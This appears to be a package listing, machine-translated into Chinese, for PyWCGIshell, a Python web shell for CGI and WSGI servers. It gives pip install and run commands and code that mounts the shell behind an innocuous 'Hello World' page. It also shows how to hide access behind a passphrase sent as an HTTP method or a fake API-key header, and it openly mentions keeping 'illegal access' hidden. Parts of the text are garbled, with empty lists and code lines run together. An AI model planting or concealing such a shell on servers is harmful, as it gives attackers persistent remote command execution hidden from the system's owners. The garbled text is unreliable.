PyWCGIshell
1.0.0
該軟件包實現了CGI和WSGI服務器的網絡殼。
使用此網絡架,您可以:
此包需要:
pip install PyWCGIshell(命令行對於嘗試Webshell很有用)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()我不建議使用pass_type之類的method隱藏您的網絡殼。
您可以使用類似的配置隱藏您的網絡殼。
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run使用此網絡殼:
在WebScript上安裝和配置Pywcgishell,以保持您的非法訪問並隱藏它(Repo在這裡)。
Webshell在WebScripts- YouTube上
在GPL下獲得許可,版本3。